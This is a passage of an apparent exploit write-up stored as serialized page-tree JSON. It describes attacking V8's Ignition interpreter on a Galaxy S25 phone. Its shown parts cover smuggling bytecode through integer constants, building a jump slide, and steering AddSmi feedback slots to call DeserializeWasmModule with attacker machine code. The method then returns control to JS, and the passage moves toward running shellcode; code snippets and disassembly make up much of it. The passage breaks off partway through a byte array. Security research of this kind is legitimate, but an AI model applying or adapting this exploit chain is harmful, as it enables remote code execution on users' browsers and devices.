type":32,"value":50947},{"type":26,"tag":475,"props":131904,"children":131905},{"style":903},[131906],{"type":32,"value":131879},{"type":26,"tag":475,"props":131908,"children":131909},{"style":499},[131910],{"type":32,"value":2729},{"type":26,"tag":475,"props":131912,"children":131913},{"class":477,"line":539},[131914,131918,131922,131926,131930,131934],{"type":26,"tag":475,"props":131915,"children":131916},{"style":482},[131917],{"type":32,"value":11496},{"type":26,"tag":475,"props":131919,"children":131920},{"style":2375},[131921],{"type":32,"value":37139},{"type":26,"tag":475,"props":131923,"children":131924},{"style":714},[131925],{"type":32,"value":2383},{"type":26,"tag":475,"props":131927,"children":131928},{"style":714},[131929],{"type":32,"value":50947},{"type":26,"tag":475,"props":131931,"children":131932},{"style":903},[131933],{"type":32,"value":131879},{"type":26,"tag":475,"props":131935,"children":131936},{"style":499},[131937],{"type":32,"value":2729},{"type":26,"tag":475,"props":131939,"children":131940},{"class":477,"line":548},[131941,131945,131949,131953,131957,131961],{"type":26,"tag":475,"props":131942,"children":131943},{"style":482},[131944],{"type":32,"value":11496},{"type":26,"tag":475,"props":131946,"children":131947},{"style":2375},[131948],{"type":32,"value":131647},{"type":26,"tag":475,"props":131950,"children":131951},{"style":714},[131952],{"type":32,"value":2383},{"type":26,"tag":475,"props":131954,"children":131955},{"style":714},[131956],{"type":32,"value":50947},{"type":26,"tag":475,"props":131958,"children":131959},{"style":903},[131960],{"type":32,"value":131879},{"type":26,"tag":475,"props":131962,"children":131963},{"style":499},[131964],{"type":32,"value":2729},{"type":26,"tag":35,"props":131966,"children":131967},{},[131968],{"type":32,"value":131969},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":26,"tag":35,"props":131971,"children":131972},{},[131973],{"type":32,"value":131974},"We'll use a similar principle here, although much more limited. With",{"type":26,"tag":465,"props":131976,"children":131978},{"code":131977},"let a = 0x0693bebe;\n",[131979],{"type":26,"tag":53,"props":131980,"children":131981},{"__ignoreMap":7},[131982],{"type":32,"value":131977},{"type":26,"tag":35,"props":131984,"children":131985},{},[131986],{"type":32,"value":131987},"We will compile the bytecode:",{"type":26,"tag":465,"props":131989,"children":131991},{"code":131990},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[131992],{"type":26,"tag":53,"props":131993,"children":131994},{"__ignoreMap":7},[131995],{"type":32,"value":131990},{"type":26,"tag":35,"props":131997,"children":131998},{},[131999,132001,132007,132009,132015,132016,132022],{"type":32,"value":132000},"We can then jump to the 3rd byte (",{"type":26,"tag":53,"props":132002,"children":132004},{"className":132003},[],[132005],{"type":32,"value":132006},"0xbe",{"type":32,"value":132008},"), and gain 2 controlled bytes of execution, followed by ",{"type":26,"tag":53,"props":132010,"children":132012},{"className":132011},[],[132013],{"type":32,"value":132014},"0x93 0x02 - 0xf",{"type":32,"value":2775},{"type":26,"tag":53,"props":132017,"children":132019},{"className":132018},[],[132020],{"type":32,"value":132021},"Jump +[2-15]",{"type":32,"value":132023},") to jump into the next constant.",{"type":26,"tag":35,"props":132025,"children":132026},{},[132027,132029,132035,132037,132043,132045,132051],{"type":32,"value":132028},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":26,"tag":53,"props":132030,"children":132032},{"className":132031},[],[132033],{"type":32,"value":132034},"StarX",{"type":32,"value":132036}," instructions, registers 16-121 resulted in two bytes ",{"type":26,"tag":53,"props":132038,"children":132040},{"className":132039},[],[132041],{"type":32,"value":132042},"Star rX",{"type":32,"value":132044}," instructions, and the next batch resulted in 4 byte ",{"type":26,"tag":53,"props":132046,"children":132048},{"className":132047},[],[132049],{"type":32,"value":132050},"Star.ExtraWide rX",{"type":32,"value":132052}," instructions.",{"type":26,"tag":35,"props":132054,"children":132055},{},[132056,132058,132064],{"type":32,"value":132057},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":26,"tag":53,"props":132059,"children":132061},{"className":132060},[],[132062],{"type":32,"value":132063},"0x8931111",{"type":32,"value":179},{"type":26,"tag":465,"props":132066,"children":132068},{"code":132067,"language":2334,"meta":7,"className":2332,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[132069],{"type":26,"tag":53,"props":132070,"children":132071},{"__ignoreMap":7},[132072,132097,132121,132145,132169,132193,132217],{"type":26,"tag":475,"props":132073,"children":132074},{"class":477,"line":478},[132075,132079,132084,132088,132093],{"type":26,"tag":475,"props":132076,"children":132077},{"style":482},[132078],{"type":32,"value":11496},{"type":26,"tag":475,"props":132080,"children":132081},{"style":2375},[132082],{"type":32,"value":132083}," a206",{"type":26,"tag":475,"props":132085,"children":132086},{"style":714},[132087],{"type":32,"value":2383},{"type":26,"tag":475,"props":132089,"children":132090},{"style":903},[132091],{"type":32,"value":132092}," 0x8931111",{"type":26,"tag":475,"props":132094,"children":132095},{"style":499},[132096],{"type":32,"value":2729},{"type":26,"tag":475,"props":132098,"children":132099},{"class":477,"line":516},[132100,132104,132109,132113,132117],{"type":26,"tag":475,"props":132101,"children":132102},{"style":482},[132103],{"type":32,"value":11496},{"type":26,"tag":475,"props":132105,"children":132106},{"style":2375},[132107],{"type":32,"value":132108}," a207",{"type":26,"tag":475,"props":132110,"children":132111},{"style":714},[132112],{"type":32,"value":2383},{"type":26,"tag":475,"props":132114,"children":132115},{"style":903},[132116],{"type":32,"value":132092},{"type":26,"tag":475,"props":132118,"children":132119},{"style":499},[132120],{"type":32,"value":2729},{"type":26,"tag":475,"props":132122,"children":132123},{"class":477,"line":539},[132124,132128,132133,132137,132141],{"type":26,"tag":475,"props":132125,"children":132126},{"style":482},[132127],{"type":32,"value":11496},{"type":26,"tag":475,"props":132129,"children":132130},{"style":2375},[132131],{"type":32,"value":132132}," a208",{"type":26,"tag":475,"props":132134,"children":132135},{"style":714},[132136],{"type":32,"value":2383},{"type":26,"tag":475,"props":132138,"children":132139},{"style":903},[132140],{"type":32,"value":132092},{"type":26,"tag":475,"props":132142,"children":132143},{"style":499},[132144],{"type":32,"value":2729},{"type":26,"tag":475,"props":132146,"children":132147},{"class":477,"line":548},[132148,132152,132157,132161,132165],{"type":26,"tag":475,"props":132149,"children":132150},{"style":482},[132151],{"type":32,"value":11496},{"type":26,"tag":475,"props":132153,"children":132154},{"style":2375},[132155],{"type":32,"value":132156}," a209",{"type":26,"tag":475,"props":132158,"children":132159},{"style":714},[132160],{"type":32,"value":2383},{"type":26,"tag":475,"props":132162,"children":132163},{"style":903},[132164],{"type":32,"value":132092},{"type":26,"tag":475,"props":132166,"children":132167},{"style":499},[132168],{"type":32,"value":2729},{"type":26,"tag":475,"props":132170,"children":132171},{"class":477,"line":558},[132172,132176,132181,132185,132189],{"type":26,"tag":475,"props":132173,"children":132174},{"style":482},[132175],{"type":32,"value":11496},{"type":26,"tag":475,"props":132177,"children":132178},{"style":2375},[132179],{"type":32,"value":132180}," a210",{"type":26,"tag":475,"props":132182,"children":132183},{"style":714},[132184],{"type":32,"value":2383},{"type":26,"tag":475,"props":132186,"children":132187},{"style":903},[132188],{"type":32,"value":132092},{"type":26,"tag":475,"props":132190,"children":132191},{"style":499},[132192],{"type":32,"value":2729},{"type":26,"tag":475,"props":132194,"children":132195},{"class":477,"line":582},[132196,132200,132205,132209,132213],{"type":26,"tag":475,"props":132197,"children":132198},{"style":482},[132199],{"type":32,"value":11496},{"type":26,"tag":475,"props":132201,"children":132202},{"style":2375},[132203],{"type":32,"value":132204}," a211",{"type":26,"tag":475,"props":132206,"children":132207},{"style":714},[132208],{"type":32,"value":2383},{"type":26,"tag":475,"props":132210,"children":132211},{"style":903},[132212],{"type":32,"value":132092},{"type":26,"tag":475,"props":132214,"children":132215},{"style":499},[132216],{"type":32,"value":2729},{"type":26,"tag":475,"props":132218,"children":132219},{"class":477,"line":596},[132220,132224,132229,132233,132237],{"type":26,"tag":475,"props":132221,"children":132222},{"style":482},[132223],{"type":32,"value":11496},{"type":26,"tag":475,"props":132225,"children":132226},{"style":2375},[132227],{"type":32,"value":132228}," a212",{"type":26,"tag":475,"props":132230,"children":132231},{"style":714},[132232],{"type":32,"value":2383},{"type":26,"tag":475,"props":132234,"children":132235},{"style":903},[132236],{"type":32,"value":132092},{"type":26,"tag":475,"props":132238,"children":132239},{"style":499},[132240],{"type":32,"value":2729},{"type":26,"tag":35,"props":132242,"children":132243},{},[132244],{"type":32,"value":132245},"Those instructions result in:",{"type":26,"tag":465,"props":132247,"children":132249},{"code":132248},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[132250],{"type":26,"tag":53,"props":132251,"children":132252},{"__ignoreMap":7},[132253],{"type":32,"value":132248},{"type":26,"tag":35,"props":132255,"children":132256},{},[132257,132259,132265,132267,132271],{"type":32,"value":132258},"(The offset of ",{"type":26,"tag":53,"props":132260,"children":132262},{"className":132261},[],[132263],{"type":32,"value":132264},"Jump",{"type":32,"value":132266}," instructions is added to the ",{"type":26,"tag":2615,"props":132268,"children":132269},{},[132270],{"type":32,"value":1200},{"type":32,"value":132272}," of the instruction.)",{"type":26,"tag":35,"props":132274,"children":132275},{},[132276,132278,132284],{"type":32,"value":132277},"Now, 3 out of the 6 bytes in a ",{"type":26,"tag":53,"props":132279,"children":132281},{"className":132280},[],[132282],{"type":32,"value":132283},"LdaSmi.ExtraWide",{"type":32,"value":132285}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":26,"tag":41,"props":132287,"children":132289},{"id":132288},"exploit-goal",[132290],{"type":32,"value":132291},"Exploit Goal",{"type":26,"tag":35,"props":132293,"children":132294},{},[132295,132297,132303,132304,132310],{"type":32,"value":132296},"Initially we considered using ",{"type":26,"tag":53,"props":132298,"children":132300},{"className":132299},[],[132301],{"type":32,"value":132302},"Star",{"type":32,"value":4292},{"type":26,"tag":53,"props":132305,"children":132307},{"className":132306},[],[132308],{"type":32,"value":132309},"Ldar",{"type":32,"value":132311}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":26,"tag":35,"props":132313,"children":132314},{},[132315,132317,132324],{"type":32,"value":132316},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":26,"tag":116,"props":132318,"children":132321},{"href":132319,"rel":132320},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[120],[132322],{"type":32,"value":132323},"stack pivot and ROP",{"type":32,"value":132325},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":26,"tag":35,"props":132327,"children":132328},{},[132329],{"type":32,"value":132330},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":26,"tag":35,"props":132332,"children":132333},{},[132334],{"type":32,"value":132335},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":26,"tag":35,"props":132337,"children":132338},{},[132339,132341,132347,132349,132355,132357,132363],{"type":32,"value":132340},"At this point, we identified an interesting opcode: ",{"type":26,"tag":53,"props":132342,"children":132344},{"className":132343},[],[132345],{"type":32,"value":132346},"CallRuntime",{"type":32,"value":132348},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":26,"tag":53,"props":132350,"children":132352},{"className":132351},[],[132353],{"type":32,"value":132354},"--allow-natives-syntax",{"type":32,"value":132356}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":26,"tag":53,"props":132358,"children":132360},{"className":132359},[],[132361],{"type":32,"value":132362},"DeserializeWasmModule",{"type":32,"value":353},{"type":26,"tag":35,"props":132365,"children":132366},{},[132367,132369,132376,132377,132382,132383,132389,132391,132398],{"type":32,"value":132368},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":26,"tag":116,"props":132370,"children":132373},{"href":132371,"rel":132372},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[120],[132374],{"type":32,"value":132375},"JIT-compiled functions",{"type":32,"value":18240},{"type":26,"tag":53,"props":132378,"children":132380},{"className":132379},[],[132381],{"type":32,"value":132362},{"type":32,"value":4292},{"type":26,"tag":53,"props":132384,"children":132386},{"className":132385},[],[132387],{"type":32,"value":132388},"SerializeWasmModule",{"type":32,"value":132390}," themselves are only used from test functions, and indeed have been ",{"type":26,"tag":116,"props":132392,"children":132395},{"href":132393,"rel":132394},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[120],[132396],{"type":32,"value":132397},"removed",{"type":32,"value":132399}," from recent production V8 builds due to how abusable this functionality is.",{"type":26,"tag":35,"props":132401,"children":132402},{},[132403,132405,132411,132413,132419,132421,132426,132428,132434,132436,132441,132442,132447,132448,132453,132455,132461,132463,132467],{"type":32,"value":132404},"However, calling this opcode represented a significant challenge:\n",{"type":26,"tag":53,"props":132406,"children":132408},{"className":132407},[],[132409],{"type":32,"value":132410},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":32,"value":132412},"\nWhere ",{"type":26,"tag":53,"props":132414,"children":132416},{"className":132415},[],[132417],{"type":32,"value":132418},"func-id",{"type":32,"value":132420}," is a 2-byte function ID, ",{"type":26,"tag":53,"props":132422,"children":132424},{"className":132423},[],[132425],{"type":32,"value":37921},{"type":32,"value":132427}," is the index of the last register passed and ",{"type":26,"tag":53,"props":132429,"children":132431},{"className":132430},[],[132432],{"type":32,"value":132433},"argc",{"type":32,"value":132435}," is the number of arguments passed (e.g. passing ",{"type":26,"tag":53,"props":132437,"children":132439},{"className":132438},[],[132440],{"type":32,"value":44073},{"type":32,"value":637},{"type":26,"tag":53,"props":132443,"children":132445},{"className":132444},[],[132446],{"type":32,"value":44216},{"type":32,"value":209},{"type":26,"tag":53,"props":132449,"children":132451},{"className":132450},[],[132452],{"type":32,"value":44199},{"type":32,"value":132454}," would be encoded as ",{"type":26,"tag":53,"props":132456,"children":132458},{"className":132457},[],[132459],{"type":32,"value":132460},"\u003Cr2> \u003C3>",{"type":32,"value":132462},").\nThis requires ",{"type":26,"tag":2615,"props":132464,"children":132465},{},[132466],{"type":32,"value":17816},{"type":32,"value":132468}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":26,"tag":41,"props":132470,"children":132472},{"id":132471},"better-bytecode-control",[132473],{"type":32,"value":132474},"Better Bytecode Control",{"type":26,"tag":35,"props":132476,"children":132477},{},[132478,132480,132487,132489,132495],{"type":32,"value":132479},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":26,"tag":116,"props":132481,"children":132484},{"href":132482,"rel":132483},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[120],[132485],{"type":32,"value":132486},"feedback vector slot",{"type":32,"value":132488},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":26,"tag":53,"props":132490,"children":132492},{"className":132491},[],[132493],{"type":32,"value":132494},"AddSmi",{"type":32,"value":132496}," instruction, it represents the number of operations performed on the target value so far.",{"type":26,"tag":35,"props":132498,"children":132499},{},[132500],{"type":32,"value":132501},"For example, we can look at the below Ignition disassembly:",{"type":26,"tag":465,"props":132503,"children":132505},{"code":132504},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[132506],{"type":26,"tag":53,"props":132507,"children":132508},{"__ignoreMap":7},[132509],{"type":32,"value":132504},{"type":26,"tag":35,"props":132511,"children":132512},{},[132513,132515,132521],{"type":32,"value":132514},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":26,"tag":53,"props":132516,"children":132518},{"className":132517},[],[132519],{"type":32,"value":132520},"AddSmi.ExtraWide",{"type":32,"value":132522},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":26,"tag":35,"props":132524,"children":132525},{},[132526],{"type":32,"value":132527},"Eventually, we can reach a stage like this:",{"type":26,"tag":465,"props":132529,"children":132531},{"code":132530},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[132532],{"type":26,"tag":53,"props":132533,"children":132534},{"__ignoreMap":7},[132535],{"type":32,"value":132530},{"type":26,"tag":35,"props":132537,"children":132538},{},[132539],{"type":32,"value":132540},"If you skip the first two bytes, you have",{"type":26,"tag":82,"props":132542,"children":132543},{},[132544,132575],{"type":26,"tag":86,"props":132545,"children":132546},{},[132547,132552,132554,132559,132561,132567,132569],{"type":26,"tag":53,"props":132548,"children":132550},{"className":132549},[],[132551],{"type":32,"value":132346},{"type":32,"value":132553}," (0x6c) to ",{"type":26,"tag":53,"props":132555,"children":132557},{"className":132556},[],[132558],{"type":32,"value":132362},{"type":32,"value":132560}," (0x0266) starting from register ",{"type":26,"tag":53,"props":132562,"children":132564},{"className":132563},[],[132565],{"type":32,"value":132566},"a2",{"type":32,"value":132568}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":26,"tag":53,"props":132570,"children":132572},{"className":132571},[],[132573],{"type":32,"value":132574},"DeserializeWasmModule(a2, a1)",{"type":26,"tag":86,"props":132576,"children":132577},{},[132578],{"type":32,"value":132579},"a Jump instruction",{"type":26,"tag":41,"props":132581,"children":132583},{"id":132582},"returning-back-to-js",[132584],{"type":32,"value":132585},"Returning Back to JS",{"type":26,"tag":35,"props":132587,"children":132588},{},[132589,132591,132597],{"type":32,"value":132590},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":26,"tag":53,"props":132592,"children":132594},{"className":132593},[],[132595],{"type":32,"value":132596},"yield",{"type":32,"value":132598}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":26,"tag":35,"props":132600,"children":132601},{},[132602],{"type":32,"value":132603},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":26,"tag":465,"props":132605,"children":132607},{"code":132606,"language":2334,"meta":7,"className":2332,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[132608],{"type":26,"tag":53,"props":132609,"children":132610},{"__ignoreMap":7},[132611,132622,132670,132691,132707,132730,132758,132775],{"type":26,"tag":475,"props":132612,"children":132613},{"class":477,"line":478},[132614,132618],{"type":26,"tag":475,"props":132615,"children":132616},{"style":586},[132617],{"type":32,"value":48025},{"type":26,"tag":475,"props":132619,"children":132620},{"style":499},[132621],{"type":32,"value":579},{"type":26,"tag":475,"props":132623,"children":132624},{"class":477,"line":516},[132625,132630,132634,132639,132643,132648,132652,132657,132661,132665],{"type":26,"tag":475,"props":132626,"children":132627},{"style":2375},[132628],{"type":32,"value":132629}," $",{"type":26,"tag":475,"props":132631,"children":132632},{"style":499},[132633],{"type":32,"value":76247},{"type":26,"tag":475,"props":132635,"children":132636},{"style":629},[132637],{"type":32,"value":132638},"'a1 + 0xa931111;'",{"type":26,"tag":475,"props":132640,"children":132641},{"style":499},[132642],{"type":32,"value":353},{"type":26,"tag":475,"props":132644,"children":132645},{"style":493},[132646],{"type":32,"value":132647},"repeat",{"type":26,"tag":475,"props":132649,"children":132650},{"style":499},[132651],{"type":32,"value":626},{"type":26,"tag":475,"props":132653,"children":132654},{"style":903},[132655],{"type":32,"value":132656},"0x059302",{"type":26,"tag":475,"props":132658,"children":132659},{"style":714},[132660],{"type":32,"value":50947},{"type":26,"tag":475,"props":132662,"children":132663},{"style":903},[132664],{"type":32,"value":4234},{"type":26,"tag":475,"props":132666,"children":132667},{"style":499},[132668],{"type":32,"value":132669},")}\n",{"type":26,"tag":475,"props":132671,"children":132672},{"class":477,"line":539},[132673,132678,132682,132687],{"type":26,"tag":475,"props":132674,"children":132675},{"style":2375},[132676],{"type":32,"value":132677}," a1",{"type":26,"tag":475,"props":132679,"children":132680},{"style":714},[132681],{"type":32,"value":8616},{"type":26,"tag":475,"props":132683,"children":132684},{"style":903},[132685],{"type":32,"value":132686}," 0x0402666c",{"type":26,"tag":475,"props":132688,"children":132689},{"style":499},[132690],{"type":32,"value":2729},{"type":26,"tag":475,"props":132692,"children":132693},{"class":477,"line":548},[132694,132698,132703],{"type":26,"tag":475,"props":132695,"children":132696},{"style":586},[132697],{"type":32,"value":34897},{"type":26,"tag":475,"props":132699,"children":132700},{"style":903},[132701],{"type":32,"value":132702}," 0x393e91a",{"type":26,"tag":475,"props":132704,"children":132705},{"style":499},[132706],{"type":32,"value":2729},{"type":26,"tag":475,"props":132708,"children":132709},{"class":477,"line":558},[132710,132714,132718,132722,132726],{"type":26,"tag":475,"props":132711,"children":132712},{"style":499},[132713],{"type":32,"value":46567},{"type":26,"tag":475,"props":132715,"children":132716},{"style":586},[132717],{"type":32,"value":661},{"type":26,"tag":475,"props":132719,"children":132720},{"style":499},[132721],{"type":32,"value":2775},{"type":26,"tag":475,"props":132723,"children":132724},{"style":2375},[132725],{"type":32,"value":689},{"type":26,"tag":475,"props":132727,"children":132728},{"style":499},[132729],{"type":32,"value":676},{"type":26,"tag":475,"props":132731,"children":132732},{"class":477,"line":582},[132733,132737,132741,132745,132749,132754],{"type":26,"tag":475,"props":132734,"children":132735},{"style":2375},[132736],{"type":32,"value":2458},{"type":26,"tag":475,"props":132738,"children":132739},{"style":499},[132740],{"type":32,"value":353},{"type":26,"tag":475,"props":132742,"children":132743},{"style":493},[132744],{"type":32,"value":2467},{"type":26,"tag":475,"props":132746,"children":132747},{"style":499},[132748],{"type":32,"value":626},{"type":26,"tag":475,"props":132750,"children":132751},{"style":629},[132752],{"type":32,"value":132753},"\"foo\"",{"type":26,"tag":475,"props":132755,"children":132756},{"style":499},[132757],{"type":32,"value":3533},{"type":26,"tag":475,"props":132759,"children":132760},{"class":477,"line":596},[132761,132766,132771],{"type":26,"tag":475,"props":132762,"children":132763},{"style":586},[132764],{"type":32,"value":132765}," yield",{"type":26,"tag":475,"props":132767,"children":132768},{"style":2375},[132769],{"type":32,"value":132770}," a16",{"type":26,"tag":475,"props":132772,"children":132773},{"style":499},[132774],{"type":32,"value":2729},{"type":26,"tag":475,"props":132776,"children":132777},{"class":477,"line":610},[132778],{"type":26,"tag":475,"props":132779,"children":132780},{"style":499},[132781],{"type":32,"value":3607},{"type":26,"tag":35,"props":132783,"children":132784},{},[132785,132787],{"type":32,"value":132786},"Starting from the final ",{"type":26,"tag":53,"props":132788,"children":132790},{"className":132789},[],[132791],{"type":32,"value":132494},{"type":26,"tag":465,"props":132793,"children":132795},{"code":132794}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[132796],{"type":26,"tag":53,"props":132797,"children":132798},{"__ignoreMap":7},[132799],{"type":32,"value":132794},{"type":26,"tag":35,"props":132801,"children":132802},{},[132803,132805,132810,132812,132818],{"type":32,"value":132804},"The smuggled jump in ",{"type":26,"tag":53,"props":132806,"children":132808},{"className":132807},[],[132809],{"type":32,"value":132494},{"type":32,"value":132811}," will redirect us to ",{"type":26,"tag":53,"props":132813,"children":132815},{"className":132814},[],[132816],{"type":32,"value":132817},"1a e9 93 03",{"type":32,"value":132819},", which results in:",{"type":26,"tag":82,"props":132821,"children":132822},{},[132823,132834],{"type":26,"tag":86,"props":132824,"children":132825},{},[132826,132832],{"type":26,"tag":53,"props":132827,"children":132829},{"className":132828},[],[132830],{"type":32,"value":132831},"Star r16",{"type":32,"value":132833}," (store accumulator to r16)",{"type":26,"tag":86,"props":132835,"children":132836},{},[132837,132842],{"type":26,"tag":53,"props":132838,"children":132840},{"className":132839},[],[132841],{"type":32,"value":132264},{"type":32,"value":132843}," past the throw into the catch relevant code",{"type":26,"tag":35,"props":132845,"children":132846},{},[132847,132849,132855],{"type":32,"value":132848},"This will bring us nicely to the final ",{"type":26,"tag":53,"props":132850,"children":132852},{"className":132851},[],[132853],{"type":32,"value":132854},"yield a16",{"type":32,"value":132856},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":26,"tag":41,"props":132858,"children":132860},{"id":132859},"executing-shellcode",[132861],{"type":32,"value":132862},"Executing Shellcode",{"type":26,"tag":35,"props":132864,"children":132865},{},[132866],{"type":32,"value":132867},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":26,"tag":465,"props":132869,"children":132871},{"code":132870,"language":35311,"meta":7,"className":35309,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[132872],{"type":26,"tag":53,"props":132873,"children":132874},{"__ignoreMap":7},[132875,132905,133132,133200,133207,133252,133298,133338,133345,133369,133406,133442],{"type":26,"tag":475,"props":132876,"children":132877},{"class":477,"line":478},[132878,132882,132887,132891,132895,132900],{"type":26,"tag":475,"props":132879,"children":132880},{"style":482},[132881],{"type":32,"value":34742},{"type":26,"tag":475,"props":132883,"children":132884},{"style":2375},[132885],{"type":32,"value":132886}," wasm_code",{"type":26,"tag":475,"props":132888,"children":132889},{"style":714},[132890],{"type":32,"value":2383},{"type":26,"tag":475,"props":132892,"children":132893},{"style":482},[132894],{"type":32,"value":31633},{"type":26,"tag":475,"props":132896,"children":132897},{"style":493},[132898],{"type":32,"value":132899}," Uint8Array",{"type":26,"tag":475,"props":132901,"children":132902},{"style":499},[132903],{"type":32,"value":132904},"([\n",{"type":26,"tag":475,"props":132906,"children":132907},{"class":477,"line":516},[132908,132913,132917,132922,132926,132931,132935,132940,132944,132948,132952,132956,132960,132964,132968,132972,132976,132980,132984,132988,132992,132996,133000,133005,133009,133013,133017,133021,133025,133029,133033,133037,133041,133045,133049,133053,133057,133061,133065,133069,133073,133077,133081,133085,133089,133093,133097,133102,133106,133111,133115,133120,133124,133128],{"type":26,"tag":475,"props":132909,"children":132910},{"style":903},[132911],{"type":32,"value":132912}," 0",{"type":26,"tag":475,"props":132914,"children":132915},{"style":499},[132916],{"type":32,"value":637},{"type":26,"tag":475,"props":132918,"children":132919},{"style":903},[132920],{"type":32,"value":132921},"97",{"type":26,"tag":475,"props":132923,"children":132924},{"style":499},[132925],{"type":32,"value":637},{"type":26,"tag":475,"props":132927,"children":132928},{"style":903},[132929],{"type":32,"value":132930},"115",{"type":26,"tag":475,"props":132932,"children":132933},{"style":499},[132934],{"type":32,"value":637},{"type":26,"tag":475,"props":132936,"children":132937},{"style":903},[132938],{"type":32,"value":132939},"109",{"type":26,"tag":475,"props":132941,"children":132942},{"style":499},[132943],{"type":32,"value":637},{"type":26,"tag":475,"props":132945,"children":132946},{"style":903},[132947],{"type":32,"value":3722},{"type":26,"tag":475,"props":132949,"children":132950},{"style":499},[132951],{"type":32,"value":637},{"type":26,"tag":475,"props":132953,"children":132954},{"style":903},[132955],{"type":32,"value":3732},{"type":26,"tag":475,"props":132957,"children":132958},{"style":499},[132959],{"type":32,"value":637},{"type":26,"tag":475,"props":132961,"children":132962},{"style":903},[132963],{"type":32,"value":3732},{"type":26,"tag":475,"props":132965,"children":132966},{"style":499},[132967],{"type":32,"value":637},{"type":26,"tag":475,"props":132969,"children":132970},{"style":903},[132971],{"type":32,"value":3732},{"type":26,"tag":475,"props":132973,"children":132974},{"style":499},[132975],{"type":32,"value":637},{"type":26,"tag":475,"props":132977,"children":132978},{"style":903},[132979],{"type":32,"value":3722},{"type":26,"tag":475,"props":132981,"children":132982},{"style":499},[132983],{"type":32,"value":637},{"type":26,"tag":475,"props":132985,"children":132986},{"style":903},[132987],{"type":32,"value":17235},{"type":26,"tag":475,"props":132989,"children":132990},{"style":499},[132991],{"type":32,"value":637},{"type":26,"tag":475,"props":132993,"children":132994},{"style":903},[132995],{"type":32,"value":3722},{"type":26,"tag":475,"props":132997,"children":132998},{"style":499},[132999],{"type":32,"value":637},{"type":26,"tag":475,"props":133001,"children":133002},{"style":903},[133003],{"type":32,"value":133004},"